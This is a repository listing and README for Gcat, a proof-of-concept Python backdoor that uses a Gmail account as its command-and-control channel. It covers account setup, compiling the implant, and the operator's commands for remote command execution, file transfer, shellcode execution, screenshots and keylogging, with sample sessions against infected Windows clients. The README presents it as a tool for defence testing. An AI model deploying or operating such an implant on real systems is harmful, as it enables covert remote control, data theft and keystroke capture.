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https://github.com/byt3bl33d3r/gcat
A PoC backdoor that uses Gmail as a C&C server
https://github.com/byt3bl33d3r/gcat
Last synced: 3 months ago
JSON representation
A PoC backdoor that uses Gmail as a C&C server
- Host: GitHub
- URL: https://github.com/byt3bl33d3r/gcat
- Owner: byt3bl33d3r
- License: bsd-2-clause
- Archived: true
- Created: 2015-06-03T01:28:00.000Z (over 9 years ago)
- Default Branch: master
- Last Pushed: 2018-11-16T13:43:15.000Z (about 6 years ago)
- Last Synced: 2024-09-20T23:01:50.978Z (3 months ago)
- Language: Python
- Homepage:
- Size: 37.1 KB
- Stars: 1,319
- Watchers: 131
- Forks: 417
- Open Issues: 5
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# Gcat
A stealthy Python based backdoor that uses Gmail as a command and control server
This project was inspired by the original [PoC code](https://bitbucket.org/Zaeyx/gcat) from Benjamin Donnelly
## This is PoC code...
... that was released for orginazations to test their defenses against these type of attacks. In order to detect them see projects like [RITA](https://github.com/activecm/rita).
For a more up to date and maintained version of this project see [GDog](https://github.com/maldevel/gdog)
## Setup
For this to work you need:
- A Gmail account (**Use a dedicated account! Do not use your personal one!**)
- Turn on "Allow less secure apps" under the security settings of the account
- You may also have to enable IMAP in the account settings
This repo contains two files:
- ```gcat.py``` a script that's used to enumerate and issue commands to available clients
- ```implant.py``` the actual backdoor to deploy
In both files, edit the ```gmail_user``` and ```gmail_pwd``` variables with the username and password of the account you previously setup.
You're probably going to want to compile ```implant.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller)
**Note: It's recommended you compile implant.py using a 32bit Python installation**
# Usage
```
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
.": o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-upload SRC DST Upload a file to the clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Meow!
```
- Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:
```
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
```
The output is a UUID string that uniquely identifies the system and the OS the implant is running on
- Let's issue a command to an implant:
```
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
```
Here we are telling ```90b2cd83-cb36-52de-84ee-99db6ff41a11``` to execute ```ipconfig /all```, the script then outputs the ```jobid``` that we can use to retrieve the output of that command
- Lets get the results!
```
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --
```
- That's the gist of it! But you can do much more as you can see from the usage of the script! ;)
# To Do
- Multi-platform support
- ~~Command to upload files~~
- Transport crypto & obfuscation